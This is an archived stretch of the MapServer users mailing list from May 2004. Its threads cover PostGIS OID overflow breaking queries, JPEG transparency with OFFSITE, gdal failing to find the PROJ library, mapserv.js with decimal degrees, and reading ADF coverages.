http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > --__--__-- > > Message: 9 > Date: Sat, 01 May 2004 21:08:54 -0700 > From: Paul Ramsey > Subject: Re: [Mapserver-users] RE: [postgis-users] RE: gone are my query > results > To: Charlton Purvis > Cc: PostGIS Users Discussion , > mapserver-users at lists.gis.umn.edu > > Got your back, Charlton :) > The problem is that your PostgreSQL oids are larger than the mapserver > row number variable can store. The oid is larger than a signed 32 bit > integer can store. > So, solution. > Do not use oid as your "unique" field. Make use of the "using unique" > clause in your data statement, and reference a different unique field > in your table. Make sure that field is indexed. If you have loaded your > data with shp2pgsql, you probably have a 'gid' field you can use that > is a primary key (and therefore already indexed). > Yours, > Paul > > On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote: > > OK, Greg, I think we might be onto something. But it still looks very > > grim. > > > > I turned on all the logging, and I notice that MS sends it this query: > > > > LOCATION: pg_parse_query, postgres.c:464 > > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > > temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)) > > ,'NDR'),OID::text from sst_map WHERE > > (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) = > > date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00') > > and (label_z <= 5 or label_z is null)) and (the_geom && setSRID( > > 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 > > 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') )) > > > > OK. That's good. Because if I stick the SELECT part at a psql > > prompt, I get back the row I want. And I also notice that its OID is > > 2185295089. > > > > But if I look at the last sql statement in the log, it's another > > cursor, but the OID is wrong. > > > > LOCATION: pg_parse_query, postgres.c:464 > > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > > station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel > > cius::text,temperature_fahrenheit::text,value_temperature_celcius::text > > ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins > > > > titution::text,institution_url::text,institution_dods_url::text,source: > > :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c > > > > ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID = > > 2147483647 > > > > So had they kept the OID, I would be in good shape. > > > > This isn't looking good!!! > > > > Charlton > > > > -----Original Message----- > > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > > Sent: Sat 5/1/2004 11:11 PM > > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > > Cc: > > Subject: RE: [postgis-users] RE: gone are my query results > > > > > > > > > > If you turn on the logging of statements in postgres and run the > > mapserver side of things, does the query show up in the logs ? > > > > If the query does not appear then I'd suspect networking or > > permissions or some darn thing keeping postgres from ever seeing the > > query. > > > > It it does show up then maybe the problem is in the return trip to MS > > or in the processing of that data (perhaps your OID suspicions), since > > it sounds as if the query itself can be processed. > > > > Any changes to *anything* on either server and anything in between ? > > (not likely but always worth ruling out) > > > > Or, shot in the dark, something messing with TOLERANCE so no points > > are selected in a query ? > > > > Very puzzling, I agree. > > > > Greg W. > > > > -----Original Message----- > > From: Charlton Purvis on behalf of Charlton Purvis > > Sent: Sat 5/1/2004 7:59 PM > > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > > Cc: > > Subject: RE: [postgis-users] RE: gone are my query results > > Thanks for your reply, Gregory. I'm forwarding this onto the MS > > folks to see if they have any pearls of wisdom. > > > > Everything looks great in the db. If I render a map, I see all the > > points correctly. If I take that query and plug it in to the command > > line, I see the rows. But the moment I try to do either a cgi query, > > WFS query, or a PHP query, I get nothing back. No error message. > > > > I'm actually getting panicky which isn't any fun. Has anyone seen > > anything like this before? > > > > Queries rely on OID's and SRID's. Is there any way they could have > > gotten mucked up? Can I somehow refresh them? > > > > Thanks, > > > > Charlton > > > > -----Original Message----- > > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > > Sent: Sat 5/1/2004 6:20 PM > > To: PostGIS Users Discussion > > Cc: > > Subject: [postgis-users] RE: gone are my query results > > > > > > > > > > If you do the query directly to postgres (via psql or pgAdmin or > > whatever) does the query return results ? > > > > If so, then my guess is that this is not a database error, at least > > not directly. If ot then yes, it would seem that somehow the postGIS > > itself has gottent snarfled. > > > > The change you made relating the geometryColumns doesn't sound to me > > like it should effect queries unless somehow the SRID info for the > > tables in your mapserver queries got clobbered; should be easy enough > > to confirm that this data is ok. > > > > I am not familiar enough with PHP and mapserver to have a clue; does > > the mapserver log itself show anything ? > > > > Not much help, I'm afraid, but perhaps posting this to the MMS list > > would add some more knowledge to the issue at hand ? > > > > Greg Williamson > > DBA > > GlobeXplorer LLC > > > > -----Original Message----- > > From: Charlton Purvis on behalf of Charlton Purvis > > Sent: Sat 5/1/2004 2:46 PM > > To: PostGIS Users Discussion > > Cc: > > Subject: gone are my query results > > Hi, folks: > > > > Bizarre and unnerving problem here. > > > > Up until last night, mapping was fine and point-query was fine. Now > > it appears that the mapping is still great, but the point query and > > WFS are toast. I don't get any errors in pgsql.log or php.log. I get > > . . . nothing. Even going mapserv cgi query returns empty for a query > > I know should work. > > > > Maybe I'm being taught a lesson. In a separate database, I noticed > > that addgeometrycolumn was taking too long -- I create about 400 > > smaller tables per day. So I commented out fix_geometry_columns(); > > from the addgeometrycolumn function and did it once I had finished > > creating all my new tables. So am I paying the price? Has this > > corrupted this database as well as my other? > > > > If all this is OID stuff, is there any way to refresh all OID's? > > > > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. > > > > Thanks, > > > > Charlton > > > > > > > > _______________________________________________ > > postgis-users mailing list > > postgis-users at postgis.refractions.net > > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > > > > > > > > _______________________________________________ > > postgis-users mailing list > > postgis-users at postgis.refractions.net > > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > > > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > Paul Ramsey > Refractions Research > Email: pramsey at refractions.net > Phone: (250) 885-0632 > > > > --__--__-- > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > End of Mapserver-users Digest > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ARyan at co.linn.or.us Mon May 3 11:38:32 2004 From: ARyan at co.linn.or.us (Ryan, Adam) Date: Mon, 3 May 2004 11:38:32 -0700 Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? Message-ID: <614FCE5F14A6D41180C200010240D6A25DC094@LINNMS> Eduardo, I might be off track but... I thought about this myself. In order to display the result shapes you need to have a query result either from doing the query in mapscript or loading a saved query file. The former defeats the point of querying the dBase since you're duplicating your steps, and the later requires you to manually build a query file but you can't do that unless you can get at the dBase record - shapefile index relationship which I don't know how to do. Again, I may be off track, but querying the dBase file may not be feasible. Adam -----Original Message----- From: Eduardo Patto Kanegae [mailto:eduardo at consultoria.eti.br] Sent: Monday, May 03, 2004 11:06 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Which is better: PHPMapScript query engine or PHP dBase functions? I have a mapserver+php+mapscript that will query on a shapefile database on a single layer, through its atributes. The system will give as result a set of items on a result list as a first step. Then as a second step a map displaying these results should be given. my doubt is: to create this result list which will be best strategy: - use PHPMapScript to query against the mapfile ? or - simply use PHP dBase functions to query against dBase files of the mapfile? which one is the best/fastest alternative? best regards. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From stephen.clark at focus.ca Mon May 3 11:49:51 2004 From: stephen.clark at focus.ca (Stephen Clark) Date: Mon, 3 May 2004 11:49:51 -0700 Subject: [Mapserver-users] http://slkapps2.env.gov.bc.ca:80/servlet/com.esri.wms.esrimap wms server Request cabalilities hyperlink problem! Message-ID: <02ff01c4313f$6af442f0$6c000a0a@sclark> Does anyone know if there is a new link for the Request Capabilities for this WMS server http://slkapps2.env.gov.bc.ca/servlet/com.esri.wms.Esrimap?version=1.1.0&request=capabilities thanks Stephen From rgould at refractions.net Mon May 3 11:49:26 2004 From: rgould at refractions.net (Richard Gould) Date: Mon, 03 May 2004 11:49:26 -0700 Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency Message-ID: <40969436.8020804@refractions.net> So I have this JPEG layer that I wish to draw on top of a couple other Shapefile layers, and I want it to be translucent. So in the mapfile I have set: OFFSITE 255 255 255 And everything I want to be transparent is set to white (255, 255, 255). However, when the layers are rendered and drawn, all the borders around the non-transparent parts of the raster are surrounded by a near-white (252, 252, 252) border. You can see what I mean at: http://gislab-60.unbc.ca/viewer/out/problem.png The grey layers are shapefiles, the greenish-white layer is my JPEG raster. Does anyone have any idea how to solve this problem? Thanks, Richard From mtperry78 at sbcglobal.net Mon May 3 12:00:48 2004 From: mtperry78 at sbcglobal.net (Matthew Perry) Date: Mon, 3 May 2004 12:00:48 -0700 (PDT) Subject: [Mapserver-users] Using mapserv.js with decimal degrees Message-ID: <20040503190048.59466.qmail@web80103.mail.yahoo.com> Hey all, I have been using the mapserv.js and dbox.js libraries for developing mapserver interfaces. It works great for projected data but now we're trying to get the navigation tools (panning, zooming, etc) to work with decimal degrees. In the mapserv.js, there is a global variable called InchesPerMapUnit that you need to set correctly if not using meters. Since lat/long is measured in angular units (degrees), how would you set this variable? Are there any other tricks to get the coordinate calculations working with lat/long? Anyone had any luck with this? Is it even possible? Thanks for any input! Matt Perry Natural Resources Planning Humboldt State University mtperry78 at sbcglobal.net From jnielsen at aero-graphics.com Mon May 3 12:17:09 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Mon, 3 May 2004 13:17:09 -0600 Subject: [Mapserver-users] gdal cant find proj library. Message-ID: <1083611829.40969ab5d0041@www.agi-lan.com> Another gdal question. Thought maybe some on this list could help. Seems my requests for post to the gdal mailing list have been waiting since last week. [root at localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711 DEM11041/W001001.ADF out.tif ERROR 6: Unable to load PROJ.4 library (libproj.so), creation of OGRCoordinateTransformation failed. Anyone know whats going on here? Reprojection works fine in ogr and mapserver as well as the proj utilities. ld.so.conf has /usr/local/lib which contains the libproj files. ldconfig has been run etc. Im not seeing ldproj show up with ldconfig -v though and apparently gdal is having an issue with it too. This is all on Fedora Core 1. Thanks. From ealpert at digitalglobe.com Mon May 3 12:21:18 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Mon, 3 May 2004 13:21:18 -0600 Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BB7@COMAIL01.digitalglobe.com> I'm somewhat new to mapserver but I use OFFSITE with tiff images. The value OFFSITE takes is the color index not the RGB. Since JPEG's don't use a color map like tiff images I'm not sure how you can do this. You may have too convert the JPEGS to something that uses indexed color. -e -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Richard Gould Sent: Monday, May 03, 2004 12:49 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency So I have this JPEG layer that I wish to draw on top of a couple other Shapefile layers, and I want it to be translucent. So in the mapfile I have set: OFFSITE 255 255 255 And everything I want to be transparent is set to white (255, 255, 255). However, when the layers are rendered and drawn, all the borders around the non-transparent parts of the raster are surrounded by a near-white (252, 252, 252) border. You can see what I mean at: http://gislab-60.unbc.ca/viewer/out/problem.png The grey layers are shapefiles, the greenish-white layer is my JPEG raster. Does anyone have any idea how to solve this problem? Thanks, Richard _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ed at topozone.com Mon May 3 12:27:20 2004 From: ed at topozone.com (Ed McNierney) Date: Mon, 3 May 2004 15:27:20 -0400 Subject: [Mapserver-users] Using mapserv.js with decimal degrees Message-ID: <13858AA1A74F30419F319ACB66A9D1224E4473@mercator.topozone.com> Matt - The problem with unprojected data is that it's a strange and hard-to-interpret data set when you try to measure something! If your data is displayed in "decimal degrees" that means that one degree of latitude and one degree of longitude form a square. Of course, they don't really do that anywhere on the Earth. And unless you're really close to the equator, one degree of longitude is noticeably shorter than one degree of latitude. And the length of one degree of longitude varies depending on the latitude. So you've got a map that lets users measure "one degree" - what does that mean? It means that you're taking those angular units and trying to pretend they're linear units. If someone measures between two points on your map and measures one degree, they will know that the square root of the sum of the latitude difference squared and the longitude difference squared equals one. It does not tell them anything about how far apart those two points are in any useful linear measurement (feet, miles, meters, cubits, chains, furlongs, etc.). And if you display a scalebar on that map, the units must be in "degrees", whatever they are . What kind of measurement are you hoping to display? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Matthew Perry [mailto:mtperry78 at sbcglobal.net] Sent: Monday, May 03, 2004 3:01 PM To: mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: [Mapserver-users] Using mapserv.js with decimal degrees Hey all, I have been using the mapserv.js and dbox.js libraries for developing mapserver interfaces. It works great for projected data but now we're trying to get the navigation tools (panning, zooming, etc) to work with decimal degrees. In the mapserv.js, there is a global variable called InchesPerMapUnit that you need to set correctly if not using meters. Since lat/long is measured in angular units (degrees), how would you set this variable? Are there any other tricks to get the coordinate calculations working with lat/long? Anyone had any luck with this? Is it even possible? Thanks for any input! Matt Perry Natural Resources Planning Humboldt State University mtperry78 at sbcglobal.net _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ealpert at digitalglobe.com Mon May 3 12:31:54 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Mon, 3 May 2004 13:31:54 -0600 Subject: [Mapserver-users] Using mapserv.js with decimal degrees Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BB8@COMAIL01.digitalglobe.com> Did you change the extents of the calls to dBox and Mapserv? >From the demo there's a file called itasca_add_dhtml.html In that file there are calls to create dBox and Mapserv that require proper extents. In addition theres a mounsemove_handler which you'll need to change to display the proper coordinates. I got mine to work but I'm using a very simple map. I'd imaging that crossing the date line or a any map that contains a pole might cause problems with the calculations. -e -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Matthew Perry Sent: Monday, May 03, 2004 1:01 PM To: mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: [Mapserver-users] Using mapserv.js with decimal degrees Hey all, I have been using the mapserv.js and dbox.js libraries for developing mapserver interfaces. It works great for projected data but now we're trying to get the navigation tools (panning, zooming, etc) to work with decimal degrees. In the mapserv.js, there is a global variable called InchesPerMapUnit that you need to set correctly if not using meters. Since lat/long is measured in angular units (degrees), how would you set this variable? Are there any other tricks to get the coordinate calculations working with lat/long? Anyone had any luck with this? Is it even possible? Thanks for any input! Matt Perry Natural Resources Planning Humboldt State University mtperry78 at sbcglobal.net _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jnielsen at aero-graphics.com Mon May 3 12:53:08 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Mon, 3 May 2004 13:53:08 -0600 Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency In-Reply-To: <40969436.8020804@refractions.net> References: <40969436.8020804@refractions.net> Message-ID: <1083613988.4096a324951a1@www.agi-lan.com> Quoting Richard Gould : > So I have this JPEG layer that I wish to draw on top of a couple other > Shapefile layers, and I want it to be translucent. So in the mapfile I > have set: > OFFSITE 255 255 255 > > And everything I want to be transparent is set to white (255, 255, 255). > > However, when the layers are rendered and drawn, all the borders around > the non-transparent parts of the raster are surrounded by a near-white > (252, 252, 252) border. > > You can see what I mean at: http://gislab-60.unbc.ca/viewer/out/problem.png > The grey layers are shapefiles, the greenish-white layer is my JPEG raster. > > Does anyone have any idea how to solve this problem? > > Thanks, > > Richard I think the issue you are running into is where the pixels you expect to be 255 are actually slightly off due to the compression of JPEG. I would try with tiff and see if the samething happens. If not then thats more than likely your problem. How to get around it though... That I dont know. Maybe you can eliminate it with the FORMATOPTION "QUALITY=80" or some number over the default so it wont mess with that solid color. I wonder if you could reclassify that image as well. ie: Tell it to classify certain pixels as 255 255 255 and do this for a range of them. Perhaps then they would become that and hence transparent. Of course I have no idea when and where this all takes place so even if that is possible it may be of no use. Or I could just be totally off in left field and this has no application to the situation. From TMitchell at lignum.com Mon May 3 13:15:42 2004 From: TMitchell at lignum.com (Tyler Mitchell) Date: Mon, 3 May 2004 13:15:42 -0700 Subject: [Mapserver-users] http://slkapps2.env.gov.bc.ca:80/servlet/com.esri.wms.esrimap wms server Request cabalilities hyperlink problem! In-Reply-To: <02ff01c4313f$6af442f0$6c000a0a@sclark> Message-ID: The sample link seems to still work. http://slkapps2.env.gov.bc.ca/servlet/com.esri.wms.Esrimap?WMTVER=1.0.0&REQUEST=map&FORMAT=PNG&WIDTH=666&HEIGHT=395&SRS=EPSG%3A42102&BBOX=1001498.1912623825,1010055.062385347,1060235.8087376175,1044891.937614653&LAYERS=BC+Coastline+-+Polygons+%281%3A250K%29,Rivers%2C+Lakes%2C+Wetlands+%281%3A250K%29,BC+Coastline+-+Lines+%281%3A250K%29,Transportation+-+Lines+%281%3A250K%29,Water+-+Lines+%281%3A250K%29,Transportation+-+Points+%281%3A250K%29,Water+-+Points+%281%3A250K%29&STYLES=,,,,,,&TRANSPARENT=TRUE& mapserver-users-admin at lists.gis.umn.edu wrote on 05/03/2004 11:49:51 AM: > > Does anyone know if there is a new link for the Request Capabilities for > this WMS server > > > http://slkapps2.env.gov.bc.ca/servlet/com.esri.wms.Esrimap? > version=1.1.0&request=capabilities > > > thanks > Stephen > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ealpert at digitalglobe.com Mon May 3 13:41:59 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Mon, 3 May 2004 14:41:59 -0600 Subject: [Mapserver-users] gdal cant find proj library. Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BBB@COMAIL01.digitalglobe.com> Do you need set LD_LIBRARY_PATH? Where is libproj.so installed? Try running ldd on gdalwarp. If it says libproj.so is "not found" then you'll need to set LD_LIBRARY_PATH. -e -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Jason M. Nielsen Sent: Monday, May 03, 2004 1:17 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] gdal cant find proj library. Another gdal question. Thought maybe some on this list could help. Seems my requests for post to the gdal mailing list have been waiting since last week. [root at localhost NED11342]# gdalwarp -s_srs epsg:4326 -t_srs epsg:26711 DEM11041/W001001.ADF out.tif ERROR 6: Unable to load PROJ.4 library (libproj.so), creation of OGRCoordinateTransformation failed. Anyone know whats going on here? Reprojection works fine in ogr and mapserver as well as the proj utilities. ld.so.conf has /usr/local/lib which contains the libproj files. ldconfig has been run etc. Im not seeing ldproj show up with ldconfig -v though and apparently gdal is having an issue with it too. This is all on Fedora Core 1. Thanks. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ealpert at digitalglobe.com Mon May 3 13:44:35 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Mon, 3 May 2004 14:44:35 -0600 Subject: [Mapserver-users] Using mapserv.js with decimal degrees Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BBC@COMAIL01.digitalglobe.com> Still if you're using a rectilinear projection you should be able to set this up provided you're not crossing the date line. Mercator or Cylindrical equidistant should work. I can understand not being able to do this with say a polar stereographic or a conic projection. -e -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Ed McNierney Sent: Monday, May 03, 2004 1:27 PM To: Matthew Perry; mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees Matt - The problem with unprojected data is that it's a strange and hard-to-interpret data set when you try to measure something! If your data is displayed in "decimal degrees" that means that one degree of latitude and one degree of longitude form a square. Of course, they don't really do that anywhere on the Earth. And unless you're really close to the equator, one degree of longitude is noticeably shorter than one degree of latitude. And the length of one degree of longitude varies depending on the latitude. So you've got a map that lets users measure "one degree" - what does that mean? It means that you're taking those angular units and trying to pretend they're linear units. If someone measures between two points on your map and measures one degree, they will know that the square root of the sum of the latitude difference squared and the longitude difference squared equals one. It does not tell them anything about how far apart those two points are in any useful linear measurement (feet, miles, meters, cubits, chains, furlongs, etc.). And if you display a scalebar on that map, the units must be in "degrees", whatever they are . What kind of measurement are you hoping to display? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Matthew Perry [mailto:mtperry78 at sbcglobal.net] Sent: Monday, May 03, 2004 3:01 PM To: mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: [Mapserver-users] Using mapserv.js with decimal degrees Hey all, I have been using the mapserv.js and dbox.js libraries for developing mapserver interfaces. It works great for projected data but now we're trying to get the navigation tools (panning, zooming, etc) to work with decimal degrees. In the mapserv.js, there is a global variable called InchesPerMapUnit that you need to set correctly if not using meters. Since lat/long is measured in angular units (degrees), how would you set this variable? Are there any other tricks to get the coordinate calculations working with lat/long? Anyone had any luck with this? Is it even possible? Thanks for any input! Matt Perry Natural Resources Planning Humboldt State University mtperry78 at sbcglobal.net _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From ealpert at digitalglobe.com Mon May 3 15:09:04 2004 From: ealpert at digitalglobe.com (Ethan Alpert) Date: Mon, 3 May 2004 16:09:04 -0600 Subject: [Mapserver-users] Using mapserv.js with decimal degrees Message-ID: <1FB6937A87F9074C9A2B8F9D9137EB16140BC0@COMAIL01.digitalglobe.com> One more thing. Does libproj support inverse mapping? This is how we handled this problem when I worked on NCAR Graphics. We would map screen coordinates into normalized device coordinates then apply an inverse mapping to get the lat/lon of the screen coordinates. -e -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Ethan Alpert Sent: Monday, May 03, 2004 2:45 PM To: Ed McNierney; Matthew Perry; mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees Still if you're using a rectilinear projection you should be able to set this up provided you're not crossing the date line. Mercator or Cylindrical equidistant should work. I can understand not being able to do this with say a polar stereographic or a conic projection. -e -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Ed McNierney Sent: Monday, May 03, 2004 1:27 PM To: Matthew Perry; mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: RE: [Mapserver-users] Using mapserv.js with decimal degrees Matt - The problem with unprojected data is that it's a strange and hard-to-interpret data set when you try to measure something! If your data is displayed in "decimal degrees" that means that one degree of latitude and one degree of longitude form a square. Of course, they don't really do that anywhere on the Earth. And unless you're really close to the equator, one degree of longitude is noticeably shorter than one degree of latitude. And the length of one degree of longitude varies depending on the latitude. So you've got a map that lets users measure "one degree" - what does that mean? It means that you're taking those angular units and trying to pretend they're linear units. If someone measures between two points on your map and measures one degree, they will know that the square root of the sum of the latitude difference squared and the longitude difference squared equals one. It does not tell them anything about how far apart those two points are in any useful linear measurement (feet, miles, meters, cubits, chains, furlongs, etc.). And if you display a scalebar on that map, the units must be in "degrees", whatever they are . What kind of measurement are you hoping to display? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Matthew Perry [mailto:mtperry78 at sbcglobal.net] Sent: Monday, May 03, 2004 3:01 PM To: mapserver-users at lists.gis.umn.edu Cc: Gregor Mosheh Subject: [Mapserver-users] Using mapserv.js with decimal degrees Hey all, I have been using the mapserv.js and dbox.js libraries for developing mapserver interfaces. It works great for projected data but now we're trying to get the navigation tools (panning, zooming, etc) to work with decimal degrees. In the mapserv.js, there is a global variable called InchesPerMapUnit that you need to set correctly if not using meters. Since lat/long is measured in angular units (degrees), how would you set this variable? Are there any other tricks to get the coordinate calculations working with lat/long? Anyone had any luck with this? Is it even possible? Thanks for any input! Matt Perry Natural Resources Planning Humboldt State University mtperry78 at sbcglobal.net _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rgould at refractions.net Mon May 3 17:10:27 2004 From: rgould at refractions.net (Richard Gould) Date: Mon, 03 May 2004 17:10:27 -0700 Subject: [Mapserver-users] Drawing ADF Files with Mapserver Message-ID: <4096DF73.7060201@refractions.net> Hey all, I am attempting to render a directory of adf files as a layer within my mapfile. Forgive my ignorance, I am totally unfamiliar with this sort of thing, especially the ADF files. Here's my directory structure: corp/ corp/info corp/qbec corp/tbec corp/tdfs qbec, tbec and tdfs are all coverages.. here's my .map file entry: LAYER NAME "Tbec" GROUP "tbec" TYPE POLYGON STATUS ON CONNECTIONTYPE OGR CONNECTION "corp/tbec" END And here is MapServer hating me: *Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR connection `corp/tbec'. File not found or unsupported format. in */home/www/htdocs/viewer/out/map.php* on line *161* I have been sitting here reading/scouring docs and the userlist all day looking for suggestions/examples and have run out. Anyone have any ideas? Richard From jacob.delfos at maunsell.com Mon May 3 17:35:36 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Tue, 4 May 2004 10:35:36 +1000 Subject: [Mapserver-users] Problems drawing JPEG Raster with Transpare ncy Message-ID: If you have photoshop, you should try a 'replace color' operation. Alternatively, bring it into whatever package you have, try to find a way to automatically select the 'near white' (magic wand, or 'select color', or something like that) and delete these areas, to make them white. If you can't do it like that, try to use 'curves' (histogram stretch), and force all your bright colors (near whites) to be white. Regards, Jacob -----Original Message----- From: Richard Gould [mailto:rgould at refractions.net] Sent: Tuesday, 4 May 2004 2:49 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Problems drawing JPEG Raster with Transparency So I have this JPEG layer that I wish to draw on top of a couple other Shapefile layers, and I want it to be translucent. So in the mapfile I have set: OFFSITE 255 255 255 And everything I want to be transparent is set to white (255, 255, 255). However, when the layers are rendered and drawn, all the borders around the non-transparent parts of the raster are surrounded by a near-white (252, 252, 252) border. You can see what I mean at: http://gislab-60.unbc.ca/viewer/out/problem.png The grey layers are shapefiles, the greenish-white layer is my JPEG raster. Does anyone have any idea how to solve this problem? Thanks, Richard _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jacob.delfos at maunsell.com Mon May 3 17:43:42 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Tue, 4 May 2004 10:43:42 +1000 Subject: [Mapserver-users] Drawing ADF Files with Mapserver Message-ID: Just thought I'd point out that there is a program called global mapper that can convert .adf files to almost anything else, very easily. I use a lot of raster GIS and graphic software, and am not easily positive about raster programs, but this program does a lot and might actually be worth its money. I don't know what platform you're using, though.... -----Original Message----- From: Richard Gould [mailto:rgould at refractions.net] Sent: Tuesday, 4 May 2004 8:10 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Drawing ADF Files with Mapserver Hey all, I am attempting to render a directory of adf files as a layer within my mapfile. Forgive my ignorance, I am totally unfamiliar with this sort of thing, especially the ADF files. Here's my directory structure: corp/ corp/info corp/qbec corp/tbec corp/tdfs qbec, tbec and tdfs are all coverages.. here's my .map file entry: LAYER NAME "Tbec" GROUP "tbec" TYPE POLYGON STATUS ON CONNECTIONTYPE OGR CONNECTION "corp/tbec" END And here is MapServer hating me: *Warning*: [MapServer Error]: msOGRFileOpen(): Open failed for OGR connection `corp/tbec'. File not found or unsupported format. in */home/www/htdocs/viewer/out/map.php* on line *161* I have been sitting here reading/scouring docs and the userlist all day looking for suggestions/examples and have run out. Anyone have any ideas? Richard _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From dmorissette at dmsolutions.ca Mon May 3 18:12:01 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: 